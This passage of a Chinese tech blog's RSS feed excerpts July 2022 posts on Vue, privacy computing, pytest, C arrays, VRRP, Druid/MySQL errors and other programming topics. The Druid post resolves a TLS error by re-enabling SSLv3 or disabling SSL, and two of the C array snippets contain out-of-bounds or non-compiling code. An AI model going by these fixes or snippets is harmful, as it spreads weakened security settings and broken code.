metadata .</description>
    </item>
    <item>
      <title>vue再读23-v-blink绑定class</title>
      <link>https://bchobby.github.io/posts/0248ee2dccb3576fe0beb2accccdc21b/</link>
      <pubDate>Mon, 25 Jul 2022 20:02:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0248ee2dccb3576fe0beb2accccdc21b/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 数据渲染界面 --&amp;gt; &amp;lt;!-- 绑定表单元素 --&amp;gt; &amp;lt;div id=&#34;abc&#34;&amp;gt; &amp;lt;!-- v-bind 绑定其他属性 --&amp;gt; &amp;lt;!-- 当 a和b的值为true的时候生效 --&amp;gt; &amp;lt;p :class=&#34;{active:a,left:b}&#34;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p :class=&#34;obj&#34;&amp;gt;内容&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script src=&#34;./js/vue.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; var vm = new Vue({ //v-on里面的methods方法 el: &#39;#abc&#39;, //模板ajax返回的数据 data: { obj: { a: true, b: true }, a: true, b: false }, methods: { } }) &amp;lt;/script&amp;gt; &amp;lt;!-- 列表渲染 --&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>《隐私计算应用研究报告（2022年）》：规模将达到145.1亿元</title>
      <link>https://bchobby.github.io/posts/5a4dbf236bfa2a98ad91555bdc3b4d69/</link>
      <pubDate>Mon, 25 Jul 2022 17:18:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a4dbf236bfa2a98ad91555bdc3b4d69/</guid>
      <description>2022年7月13日，在2022隐私计算大会上，中国信通院云计算与大数据研究所副主任闫树发布了《隐私计算应用研究报告（2022年）》。报告系统梳理了隐私计算应用发展现状，深入剖析典型案例，并从项目管理角度详细阐述隐私计算在部署建设中遇到的应用难点及解决方案。报告指出了未来隐私计算的应用展望：通过软硬件产品结合提升隐私计算技术在实际应用场景的可用性，推动隐私计算大规模商业化落地。2025年隐私计算市场规模将达到145.1亿元。&#xA;关注公众号并回复 20220723 获取完整报告&#xA;隐私计算应用背景&#xA;(一)隐私计算概述&#xA;隐私计算是“隐私保护计算”(Privacy-Preserving Computation)的简称，有时也被称为“隐私增强计算”(Privacy.-EnhancingComputation),是指在保证数据提供方不泄露原始数据的前提下，对数据进行分析计算，有效提取数据要素价值的一类信息技术，保障了数据在产生、存储、计算、应用、销毁等各个环节中的“可用不可见”、隐私计算交叉融合了人工智能、密码学、数据科学、计算机硬件等多个学科，并逐渐形成了以多方安全计算(Secure Multi-partyComputation,MPC)、联邦学习(Federated Learning,FL)、可信执行环境(Trusted Execution Environment,TEE)为代表的三大技术路线，以同态加密、差分隐私、零知识证明等其他密码学技术为辅助的成熟技术体系，能够在不泄露原始数据的前提下，对数据进行加工、分析处理、分析验证和联合建模等，为数据的开放共享与隐私保护提供丰富的解决方案。&#xA;目前主流隐私计算技术分为三大方向：第一类是以多方安全计算为代表的基于密码学的技术；第二类是以联邦学习为代表的人工智能与隐私保护技术融合衍生的技术；第三类是以可信执行环境为代表的基于可信执行环境的技术。每种技术都解决了如何安全地使用保护中的数据的问题，并具有相应的优点和缺点。&#xA;由于技术路径的不同，各类隐私计算技术均有其更加适用的场景，可满足不同的业务需求。多方安全计算是基于密码学的可证安全计算，具有高安全性，但对网络要求高，可应用在银行、政府等高安全要求场景。联邦学习效率高，适合数据量大的联合机器学习场景，针对梯度泄露风险，可结合差分隐私或者密码学等方式来提升安全性。可信执行环境属于数据加密后集中计算，具有高安全性、高精度等特点，但需要数据加密集中到第三方环境。相关技术的主要对比如表1-1所示。&#xA;(二)政策、需求推动隐私计算应用发展&#xA;数据作为新型生产要素已成为国家基础性的战略资源。为解决数据权属界定不清、要素流转无序、隐私保护不足等影响数据要素价值发挥的关键“命门”，随着政策与需求的双重推动，隐私计算已成为需求强烈的数据流通“技术解”之一。&#xA;随着政策法规成为隐私计算发展和应用的重要基石，各行业出于数据流通的实际需求布局并应用隐私计算。自2019年起，隐私计算的落地需求呈逐递增趋势（见图1-1），市场层面从落地初期验证阶段进入加速落地阶段，重点呈现出以下趋势：&#xA;一是隐私计算应用行业广泛，金融行业应用最多。根据2019-2022年政府公开招标项目整理，金融、通信、政务、医疗等行业均已进行隐私计算平台招标，且需求逐年增长（见图1-2）。其中金融行业招标数量占比最高，为53%，主要包含银行、金融科技、保险、证券等；通信行业招标数量占比为17%，主要包含运营商；政务行业占比13%，主要包含政府、政府部门、事业单位；医疗行业占比9%，主要包含医院、医疗机构或研究所；互联网占比5%，主要包含车联网类、网站类、信息科技类；能源占比3%，主要包含电力。&#xA;二是隐私计算不同行业间的招标目的分布不同。主要有对内赋能、对外赋能和双向赋能等形式。对内赋能指招标方通过隐私计算平台引入外部数据价值或能力提升内部业务效果，主要包含科研、数据应用，比如引入外部数据进行联合风控、联合营销等。对外赋能指招标方通过隐私计算平台对外输出数据价值或能力，主要包含数据运营、数据服务，比如对外提供数据安全查询或对外输出联合建模能力等。双向赋能指招标方通过隐私计算平台同时对内、外赋能。&#xA;如图1-3所示，金融行业55%的招标项目目的为对内赋能；互联网、通信、医疗、能源行业对外赋能占比均超50%；政务行业双向赋能占比较高。分析其背后产生的原因：首先，金融领域具有高度数字化的特点，具备隐私计算试点的良好条件。同时，金融领域也有大量的隐私计算需求，金融业务中重要的联合风控、联合营销、反欺诈等应用场景，也是隐私计算技术重点支撑场景。其次，通信运营商的数据包括个人实名信息、上网信息、通话信息等，可覆盖个人信息的多个维度。因此，在各种隐私计算应用场景中扮演着重要的数据提供者的角色。再者，政务数据不仅价值高、规模大，而且种类多。近年来，我国各地政府积极推进政务数据的开放共享。隐私计算可以帮助实现跨机构间的个人身份确认、企业经营监管等。&#xA;隐私计算应用展望&#xA;(一)技术提升&#xA;目前整个隐私计算行业的产品化能力仍处于初期，市场上隐私计算产品众多，水平参差不齐，可用性是个值得思考的角度。在隐私计算场景中，会涉及到大量的密文运算及节点间通信，所以计算和通信的代价会非常高昂，而且很容易使其性能远远劣于传统的本地算法，性能的巨大差异可能导致实际落地场景无法忍受。面对大规模场景，数十亿数量级数据运算时，分布式计算节点的故障、网络波动等引发的稳定性问题，隐私计算平台该如何来保证其可用性；不同的行业、不同的场景下，隐私计算的安全性和性能该如何保障；这些都是产品可用性遇到的问题。&#xA;在未来的发展中，隐私计算平台需应对数据量的不断增长，那么算力和通信问题的解决必然是一个趋势，技术厂商们也将会通过软硬件结合的方式在兼顾性能和安全性。在3月初结束的全国两会上，“建设数字信息基础设施“提升关键软硬件技术创新和供给能力”被政府确定为2022年重点工作内容。软硬件协同隐私计算方案可有效降低应用落地的部署门槛，同时加强软硬件的全栈能力。软硬件协同产品从底层芯片的选择、硬件电路的涉及、国产密码算法的研发，到上层的隐私计算平台，一键式实现完全的国产自主可控。通过软硬协同方案，可将隐私计算核心算法、算子等进行功能抽取，将其能力下沉并部分托管至硬件环境中，通过调用芯片的加速能力提升平台算力；在“存储”和“传输”方面，可引入物理隔离的通信通道，实现算法及算子的单独运行、数据的单独传输，从逻辑上封装算法/算子的安全加速单元，完成数据“算、存、传”的安全隔离处理。通过结合硬件可插拔的特性，让企业服务器一插即用，即可将之变为隐私计算专用服务器，这无疑提升了产品的可用性，推动隐私计算基础设施的快速落地进程。&#xA;在软硬件结合的探索中，隐私计算一体机方案被广泛采用。隐私计算一体机为需求方提供开箱即用的一套隐私计算解决方案，与此同时通过软硬结合的方式实现性能和安全性的增强，更好得提升隐私计算技术在实际应用场景的可用性，推动隐私计算大规模商业化落地。&#xA;(二)规模丰富&#xA;随着隐私计算技术提升及可用性增强，隐私计算应用规模将持续增强。其市场空间将来自于两个方面：一是传统数据流通模式（数据包传输、AP1调用等)将被隐私计算的可信数据流通方案所重构；另一方面，传统模式下难以共享的数据（如政务数据等）将在隐私计算的加持下实现安全合规开放。&#xA;根据Gartner《2021年隐私成熟度曲线》报告中预测：2023年之前全球80%以上的企业将面临至少一项以隐私为重点的数据安全保护规定；到2024年以数据隐私驱动的合规投入将突破150亿美元。到2025年60%的大型企业组织将在分析、商业智能或云计算中使用一种或多种隐私增强计算技术。根据艾瑞咨询报告《中国隐私计算行业研究报告：云程发轫，精耕致远》，2021年中国隐私计算市场规模为4.9亿元，预计2025年将达到145.1亿元，数据运营占比持续升高。Gartner发布的2022年十二大重要战略技术趋势中指出，预计到2025年，60%的大型企业机构将使用一种或多种隐私计算技术（其称为隐私增强计算技术)。　(三)行业拓展&#xA;2019年，Gartner首次将隐私计算列为处于启动期的关键技术。&#xA;2020年，Gartner又将隐私计算列为2021年企业机构九大重要战略科技之一。近两年来，伴随着技术的不断成熟，国内外隐私计算产业化的步伐明显加快。可以预见，未来几年将是技术产品加速迭代，应用场景快速升级，产业生态逐步成熟的重要阶段。&#xA;隐私计算的主要应用领域在金融、通信、政务、医疗、能源等方面。目前的拓展方向一是新的行业领域，二是原有行业的细分领域。&#xA;1)证券基金行业拓展&#xA;隐私计算在金融行业主要应用在银行风控和营销领域，目前在向保险、证券及基金行业拓展。&#xA;对于证券基金行业，证券基金公司总部及其子公司的客户隐私数据无法在内部整合，在满足法律合规要求前提下，通过隐私保护计算技术可以进行一体化风险度量和管理，可以降低证券公司内部金融风险的隐蔽性和复杂性。探索合格投资者判断、穿透式风控、联合反洗钱及黑名单共享等应用场景，能够帮助证券公司全面提升综合风控能力。在联合营销场景中，可以探索通过联邦学习技术丰富业务数据和模型，能够更精准有效地定位业务目标，挖掘数据最大价值。&#xA;2)能源电力行业拓展&#xA;能源电力领域数据具有数据质量参差不齐、成熟度不高、复杂度较高、协同性较差等特点。目前业内部分领先厂商已经开始探索能源电力领域的技术应用。&#xA;在虚拟电厂运营、充配电网协同、电力市场交易等与能源区块链关联的业务场景中，可采用区块链实现数据流通与融合的可信、可溯、可审计。在此基础上，借助隐私计算进一步提升业务系统对黑客解密、篡改数据的难度，确保数据流通融合的隐匿、安全、合规，实现源网荷储一体化数据协同。&#xA;在与工业互联网关联的业务场景中，可通过区块链和隐私计算实现数据流通的可信、可塑、可审计、隐匿、安全、合规，建立工业互联网设备画像，并实现设备、数据及网络层面的互联互通。&#xA;3)车联网行业拓展&#xA;在泛车联网行业，可通过建立省级的平台部署，提供覆盖全省的业务服务，面向全国示范应用。推动车联网数据安全共享生态的建立，推进车联网数据可信体系建立，研究多企业数据联合应用的合作模式，促进车联网行业数据安全共享应用。&#xA;在车联网隐私计算平台的应用示范、逐省推广和业务拓展的基础上，可进一步推广至智能交通领域，进行积极拓展商业化项目推广，建立领先、高安全、高性能、高可靠的隐私计算产品和应用示范，树立跨平台车联网数据安全应用的示范标杆；研发跨行业、跨领域的数据融合应用技术，建立合作机制，通过技术服务为智能交通领域企业赋能；支持隐私计算技术在智能交通领域的商业化、规模化应用，引领智能交通全行业的隐私计算技术发展。&#xA;报告目录&#xA;公众号后台回复“20220723”，即可获取《报告》PDF&#xA;来源：隐私计算联盟，版权归属原作者，分享仅供学习参考，如有不当，请联系我们处理。</description>
    </item>
    <item>
      <title>详细地址通过正则抽取省市区</title>
      <link>https://bchobby.github.io/posts/b04ee2afacecf578cd72bca95b462c30/</link>
      <pubDate>Mon, 25 Jul 2022 16:43:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b04ee2afacecf578cd72bca95b462c30/</guid>
      <description> let str=&#34;(?&amp;lt;province&amp;gt;[^省]+自治区|.*?省|.*?行政区|.*?市)(?&amp;lt;city&amp;gt;[^市]+自治州|.*?地区|.*?行政单位|.+盟|市辖区|.*?市|.*?县)(?&amp;lt;county&amp;gt;[^区]+区|.+旗|.+海域|.+岛)?(?&amp;lt;town&amp;gt;[^区]+区|.+镇)?(?&amp;lt;village&amp;gt;.*)&#34;; let regex = new RegExp(str); let execResult = regex.exec(&#39;地址&#39;); let groups = execResult.groups; console.log(groups) </description>
    </item>
    <item>
      <title>Pytest：yield的简单使用（方法执行后的数据处理）</title>
      <link>https://bchobby.github.io/posts/825b7bde03345d742fd885aecea48771/</link>
      <pubDate>Mon, 25 Jul 2022 14:48:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/825b7bde03345d742fd885aecea48771/</guid>
      <description>在基于 Pytest 框架编写接口自动化用例时，遇到了这样的一个场景： 1、我需要编写一个「根据用户id查信息」的接口 2、在执行这条用例之前，我准备了一个 fixture 方法用来「新增用户」 3、我现在有一个需求是：在执行完「根据用户id查信息」的接口后，自动将「新增用户」创建的用户自动删除，防止脚本造成垃圾数据 4、于是我把目光转到了「yield」方法：使用 yield 替代 return，并在yield 后添加需要执行的方法 一、首先创建文件，使用 Flask 来 mock 三个接口Api【记得Run起来】 # -*- -*- -*- -*- -*- -*- -*- -*- # -*- coding: utf-8 -*- # @文件名称 : mock_api.py # @创 建 者 : PythonKimo # -*- -*- -*- -*- -*- -*- -*- -*- # coding=gbk from flask import request, Flask, jsonify app = Flask(__name__) @app.route(&#39;/api/v1/addUser&#39;, methods=[&#39;POST&#39;]) def addUser(): return jsonify({ &#34;code&#34;: 1, &#34;</description>
    </item>
    <item>
      <title>一维数组转化为二维数组</title>
      <link>https://bchobby.github.io/posts/d80b8e8276b77ccf9d70ad434cae15b9/</link>
      <pubDate>Mon, 25 Jul 2022 14:44:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d80b8e8276b77ccf9d70ad434cae15b9/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; int main() { int i,j,k=0,arr[5]={0,1,2,3},arr2[2][2]={0}; for(i=0;i&amp;lt;2;i++) for(j=0;j&amp;lt;2;j++) { arr2[i][j]=arr[k]; k++; } return 0; } 1. 这里通过引入第三个变量将一维数组的值挨个赋值给二维数组，实现一维到二维的转化。&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int i,arr[4]={0,1,2,3},arr2[2][2]={0}; for(i=0;i&amp;lt;5;i++) arr2[0][i]=arr[i]; return 0; } 2.利用定义的二维数组的边界条件，通过一次循环实现一维数组向二维数组的转换。&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int i,arr[4]={0,1,2,3},arr2[2][2]={0}; for(i=0;i&amp;lt;4;i++) arr[i/2][i%2]=arr[i]; return 0; } 3.通过运算，利用一次循环的i值，确定被赋值的二维数组的下标，从而实现一维数组向二维数组的转化。</description>
    </item>
    <item>
      <title>服务器如何搭建虚拟主机？</title>
      <link>https://bchobby.github.io/posts/a073dbe861c53759dd00088cbcac0252/</link>
      <pubDate>Mon, 25 Jul 2022 11:52:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a073dbe861c53759dd00088cbcac0252/</guid>
      <description>虚拟主机或称共享主机，又称虚拟服务器，是一种在单一主机或主机群上，实现多&#xA;网域服务的方法，可以运行多个网站或服务的技术。虚拟主机之间完全独立，并可由用户自行管理，虚拟并非指不存在，而是指空间是由实体的服务器延伸而来，其硬件系统可以是基于服务器群，或者单个服务器。现在有很多服务器管理工具，使用管理工具，可以快速搭建出一个个虚拟主机。虚拟主机实现方式一般分为网址名称对应、IP地址对应以及Port端口号对应。&#xA;一、基于IP的方法：&#xA;服务器上绑定多个IP，接着配置WEB服务器，将多个网站绑定在不同的IP上。浏览不同的IP，即可看到不一样的网站。&#xA;二、基于端口的方法：&#xA;一个IP地址，通过不同的端口实在不同网站的访问。&#xA;三、基于主机名的方法：&#xA;装备多个域名的A记录，让它们解析到同一个IP地址上，也就是一样的服务器上。随后，在服务器上安装WEB服务端，增加多个网站，在每个网站上拟定一个主机名称。因为HTTP协议访问请求里包含有主机名信息，当WEB服务器收到访问请求时，会根据不同的主机名来访问不同的网站。&#xA;虚拟主机技术是互联网服务器采用的节省服务器硬件成本的技术，虚拟主机技术主要应用于HTTP（Hypertext Transfer Protocol，超文本传输协议）服务，将一台服务器的某项或者全部服务内容逻辑划分为多个服务单位，对外表现为多个服务器，从而充分利用服务器硬件资源。&#xA;虚拟主机是使用特殊的软硬件技术，把一台真实的物理服务器主机分割成多个逻辑存储单元。每个逻辑单元都没有物理实体，但是每一个逻辑单元都能像真实的物理主机一样在网络上工作，具有单独的IP地址（或共享的IP地址）、独立的域名以及完整的Internet服务器（支持WWW、FTP、E-mail等）功能。&#xA;虚拟主机的关键技术在于，即使在同一台硬件、同一个操作系统上，运行着为多个用户打开的不同的服务器程式，也互不干扰。而各个用户拥有自己的一部分系统资源（IP地址、文档存储空间、内存、CPU等）。各个虚拟主机之间完全独立，在外界看来，每一台虚拟主机和一台单独的主机的表现完全相同。所以这种被虚拟化的逻辑主机被形象地称为“虚拟主机”。</description>
    </item>
    <item>
      <title>阿里数据库连接池Druid 连接MySQL失败：javax.net.ssl.SSLHandshakeException: No appropriate protocol</title>
      <link>https://bchobby.github.io/posts/ebd969a3f702364888f4fe0da9c55b4d/</link>
      <pubDate>Mon, 25 Jul 2022 11:09:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebd969a3f702364888f4fe0da9c55b4d/</guid>
      <description>昨天电脑蓝屏开不了机，一查是SSD坏了，还好项目这些在机械硬盘没有丢失。今天换了台新电脑，将项目复制过来，运行却出错了，Druid 连接不上MySQL，报了以下异常：&#xA;com.alibaba.druid.pool.DruidDataSource : create connection SQLException, url: jdbc:mysql://118.178.112:3306/test?useUnicode=true&amp;amp;characterEncoding=utf-8&amp;amp;serverTimezone=Asia/Shanghai, errorCode 0, state 08S01 com.mysql.cj.jdbc.exceptions.CommunicationsException: Communications link failure ... Caused by: javax.net.ssl.SSLHandshakeException: No appropriate protocol (protocol is disabled or cipher suites are inappropriate) at sun.security.ssl.HandshakeContext.&amp;lt;init&amp;gt;(HandshakeContext.java:171) at sun.security.ssl.ClientHandshakeContext.&amp;lt;init&amp;gt;(ClientHandshakeContext.java:101) at sun.security.ssl.TransportContext.kickstart(TransportContext.java:238) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:394) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:373) at com.mysql.cj.protocol.ExportControlled.performTlsHandshake(ExportControlled.java:315) at com.mysql.cj.protocol.StandardSocketFactory.performTlsHandshake(StandardSocketFactory.java:188) at com.mysql.cj.protocol.a.NativeSocketConnection.performTlsHandshake(NativeSocketConnection.java:99) at com.mysql.cj.protocol.a.NativeProtocol.negotiateSSLConnection(NativeProtocol.java:352) ... 13 common frames omitted 百度一查，发现是jdk1.8版本导致SSL调用权限上有问题，新电脑装的jdk是jdk1.8.0_291，版本比较高。搜到的解决方法是：&#xA;找到jdk 1.8安装目录，找到C:\Program Files\Java\jre里面的lib\security 下面有个java.security。找到对应的SSLv3，删除掉，重启项目就好了。（删掉SSLv3就是允许SSL调用）&#xA;我找到Java安装目录下D:\Java\jdk1.8.0_291\jre\lib\security中的java.security文件，将对应的SSLv3删掉了，但运行还是出错。最后发现SSLv3后面有两个和它后缀一样的算法，将它们一起删掉后重启项目，成功解决问题。&#xA;删除后的文件如下图所示。&#xA;参考链接：https://blog.csdn.net/weixin_38111957/article/details/80577688&#xA;更新 此贴评论里的@fireinjava大佬提出了一种更简单的方法，在此复制出来方便大家查看&#xA;方法：url 加个 ?useSSL=false 参数就好</description>
    </item>
    <item>
      <title>手机端访问本地编写的html页面【亲测有效】</title>
      <link>https://bchobby.github.io/posts/319a18bab4aba413827ffabd76d2229a/</link>
      <pubDate>Mon, 25 Jul 2022 10:58:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/319a18bab4aba413827ffabd76d2229a/</guid>
      <description>一、环境 1. 首先你的手机要和电脑是在同一个局域网，例如手机和电脑连接同一个wifi，此次举例我是笔记本电脑连接我的手机热点，也是同属一个局域网下。&#xA;2. 确保电脑上已经安装node.js 正题开始： 1. cmd 命令行中 安装&#xA;cmd 命令行中 安装 npm install http-server -g 2. cmd进入项目盘目录:&#xA;3. 输入http-server指令开启服务，cmd就会提示:&#xA;例如我的，第一个就是你手机可以访问的内网地址，第二个是你电脑的回环地址。&#xA;别急啊，现在你的手机还是访问不了。打开你的防火墙设置–高级设置&#xA;二、关闭指定端口的防火墙 新建个入站规则： 这里开放和http-server服务里一样的端口，例如我的是8080&#xA;名字随便取：&#xA;同样的操作，给出站的创建一个：&#xA;这样，8080端口就被完全打开了。 打开手机输入上述地址： http://192.168.2.19:8080 链接成功&#xA;默认访问的是index.html文件，如果你想访问其他文件，例如css效果测试，应该这样172.20.10.4:8080/css效果测试，就可以访问了。&#xA;每次修改完html文件后，手机浏览器页面要刷新一下才会更新哦。</description>
    </item>
    <item>
      <title>VantUI组件在Vue2项目当中CSS样式不显示</title>
      <link>https://bchobby.github.io/posts/c98a1e33b4fbffc39319ac56801ea0f3/</link>
      <pubDate>Mon, 25 Jul 2022 00:02:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c98a1e33b4fbffc39319ac56801ea0f3/</guid>
      <description>问题描述 在Vue2项目当中，按需引入Vant组件会出现CSS样式不显示的问题&#xA;解决方案 在使用vant组件的时候，出现样式不显示的问题，首先需要确保自己使用的vant组件的版本，由于项目开发使用的是Vue2所以对应的vant组件不能是最新版本，需要使用vant2&#xA;yarn add vant@latest-v2 -S or npm i vant@latest-v2 -S 其次，需要在main.js入口文件当中，引入组件，并且使用。在项目开发中，单独建立了一个ui文件夹，负责管理所有的vant组件。&#xA;ui/index.js&#xA;import { Button } from &#39;vant&#39;; const vant = { install: function (Vue) { // 标签栏 Vue.use(Button); } } export default vant main.js&#xA;import Vue from &#39;vue&#39; import App from &#39;./App.vue&#39; // 引入vant import vant from &#39;@/ui&#39; // 使用vant Vue.use(vant) Vue.config.productionTip = false new Vue({ render: h =&amp;gt; h(App) }).$mount(&#39;#app&#39;) 由于vant组件我们采用的是默认暴露的形式，所有需要下载一个插件，并且配置babel，才能自动帮助我们按需引入&#xA;yarn add babel-plugin-import -S or npm i babel-plugin-import -S 接着在babel.</description>
    </item>
    <item>
      <title>FactoryBean的getObject调用时机</title>
      <link>https://bchobby.github.io/posts/45abd6d94ae6b193e8b82f7fc43550a6/</link>
      <pubDate>Sun, 24 Jul 2022 17:34:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45abd6d94ae6b193e8b82f7fc43550a6/</guid>
      <description>原文链接：https://blog.csdn.net/u022812849/article/details/114368497?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2aggregatepagefirst_rank_ecpm_v1~rank_v31_ecpm-1-114368497-null-null.pc_agg_new_rank&amp;amp;utm_term=FactoryBean%E5%9C%A8%E5%93%AA%E9%87%8C%E6%89%A7%E8%A1%8C%E7%9A%84&amp;amp;spm=1000.2123.3001.4430&#xA;先编写测试代码：&#xA;public class Dog { private String name; public Dog(String name) { System.out.println(&#34;new dog&#34;); this.name = name; } } import org.springframework.beans.factory.FactoryBean; public class DogFactoryBean implements FactoryBean&amp;lt;Dog&amp;gt; { @Override public Dog getObject() throws Exception { return new Dog(&#34;WangWang&#34;); } @Override public Class&amp;lt;?&amp;gt; getObjectType() { return Dog.class; } } import org.springframework.context.annotation.AnnotationConfigApplicationContext; public class FactoryBeanDemo { public static void main(String[] args) { AnnotationConfigApplicationContext applicationContext = new AnnotationConfigApplicationContext(); applicationContext.register(DogFactoryBean.class); applicationContext.refresh(); System.out.println(applicationContext.getBean(&#34;&amp;amp;dogFactoryBean&#34;)); System.out.println(applicationContext.getBean(&#34;dogFactoryBean&#34;)); } } 执行结果</description>
    </item>
    <item>
      <title>使用VRRP技术实现网关设备冗余，附详细配置实验</title>
      <link>https://bchobby.github.io/posts/829061a295efe104c2ec9a999c2ce98c/</link>
      <pubDate>Sun, 24 Jul 2022 16:21:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/829061a295efe104c2ec9a999c2ce98c/</guid>
      <description>文章目录 前言一、VRRP技术的原理二、VRRP实验与配置1、实验拓扑2、实验拓扑介绍3、实验配置VRRP配置命令设备配置 三、实验结果总结 前言 企业的网络中一般会使用三层交换机或路由器来当作网关设备，这个网关设备上面连着出口路由器或防火墙来通向外网，如果企业中的这个网关设备出现故障，就会导致内网的终端设备无法访问公网。为了避免这种情况的发生，VRRP（虚拟路由器冗余协议）技术可以实现网关设备的冗余备份，即使有一台网关设备宕机，另一台也能转发流量，保证内网的终端正常上网。&#xA;一、VRRP技术的原理 因为一个网卡只能配置一个网关地址，所以两台网关设备就共同虚拟出一个ip地址，当其中一台设备宕机时，另一台设备也能继续维护这个虚拟ip，实现网关设备的冗余备份效果。&#xA;二、VRRP实验与配置 1、实验拓扑 2、实验拓扑介绍 PC1是内网的终端设备。LSW3是接入交换机。LSW1和LSW2是网关设备，用于实现网关冗余。LSW1的GE0/0/1口的ip地址是192.168.1.252/24，LSW2的GE0/0/1口的IP地址是192.168.1.253/24，它们使用VRRP技术共同虚拟出一个网关地址192.168.1.254/24。网关设备上面是一个出口路由器。路由器AR3模拟运营商网络，回环口模拟公网中的某个地址。 3、实验配置 VRRP配置命令 命令备注vrrp vrid 10 virtual-ip 192.168.1.254在此端口下配置VRRP，并设置虚拟地址为192.168.1.254vrrp vrid 10 priority 200设置此端口的主路由优先级为200，默认优先级是100vrrp vrid 10 track interface g0/0/2 reduced 150当检测到上行端口故障时，自动将优先级减少150，使备用端口变成主端口display vrrp显示vrrp配置结果 设备配置 LSW3: vlan 10 int e0/0/2 port link-type trunk port trunk allow-pass vlan 10 //允许带标签VLAN10的数据帧通过 int e0/0/3 port link-type trunk port trunk allow-pass vlan 10 //允许带标签VLAN10的数据帧通过 int e0/0/1 port link-type access port de v 10 LSW1: vlan 10 int vlanif 10 //创建vlanif接口 ip add 192.</description>
    </item>
    <item>
      <title>JavaScript原型链(重要)</title>
      <link>https://bchobby.github.io/posts/e25dcf437a906626008d8fc71cc9b56e/</link>
      <pubDate>Sun, 24 Jul 2022 15:57:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e25dcf437a906626008d8fc71cc9b56e/</guid>
      <description>1. 构造函数与原型 先了解一个概念：&#xA;类就是对象的模板，对象就是类的实例。&#xA;在构造函数内部的this指向它的实例对象。&#xA;2. new关键字 这个也是面试常考的知识点&#xA;在实例化构造函数时，做了什么？或者说在JavaScript中new&#xA;创建空对象 var zs = { }&#xA;将构造函数内部的this指向空对象 this -&amp;gt; zs 把属性和方法挂载到实例对象上。 zs.name zs.age zs.sing()&#xA;隐式返回新对象。&#xA;3. 实例成员与静态成员 实例成员：在构造函数内部创建的对象成员称为实例成员，只能由实例化的对象来访问。静态成员：在构造函数本身上添加的成员称为静态成员，只能由构造函数本身来访问。 var arr = new Array() console.dir(arr); console.dir(Array); 4. 构造函数与静态成员 同一个函数，会在内存中保存多份，会造成内存的浪费。&#xA;&amp;lt;script&amp;gt; function Cup(color, size) { this.color = color this.size = size this.save = function () { console.log(&#34;储水&#34;); } } var mycup1 = new Cup(&#34;紫色&#34;, &#34;3400ml&#34;) var mycup2 = new Cup(&#34;绿色&#34;, &#34;400ml&#34;) console.log(mycup1); console.</description>
    </item>
    <item>
      <title>Microsoft_Store保姆级安装教程</title>
      <link>https://bchobby.github.io/posts/e96c16e03c22e37efe27fbceb21084df/</link>
      <pubDate>Sun, 24 Jul 2022 10:14:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e96c16e03c22e37efe27fbceb21084df/</guid>
      <description>Microsoft_Store安装教程 简介： 有些Windows系统（如LTSC）并不内置Microsoft_Store，在有需要的时候会造成不便。（亲身感受） 网上有些教程太局限，不同的架构mo的安装，所以我亲自写一份使用多种架构的教程。接下来，我就介绍下怎么安装Microsoft_Store。&#xA;1.首先，下载安装包。 这里，我整理了一些通用安装包(适用多WIN10系统架构）。在这里可以下载&#xA;2.下载解压 解压软件这里不做推荐，任意即可。&#xA;然后在D盘根目录新建一个文件夹microsoftstore(如果没有就C盘根目录)&#xA;解压后得到：&#xA;3.获取目录地址 我们打开《microsoftstore》文件夹，&#xA;然后，我们可以得到&#xA;然后，复制地址。&#xA;4.调起Powershell管理员 我们搜索&#xA;5.进入安装目录 输入cd 安装包目录(第一步复制的),如&#xA;然后，输入 Add-Appxpackage *执行安装&#xA;提示错误也没关系，因为只安装了适合的架构安装包。&#xA;6.安装成功 还有疑问的请私信。&#xA;末尾PS:关注我，获取更多教程。（会更新的！）</description>
    </item>
    <item>
      <title>深度学习之 9 前馈神经网络2：实现前馈神经网络，模型调优</title>
      <link>https://bchobby.github.io/posts/4515c656fbc267e978b35a9821dff821/</link>
      <pubDate>Sat, 23 Jul 2022 15:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4515c656fbc267e978b35a9821dff821/</guid>
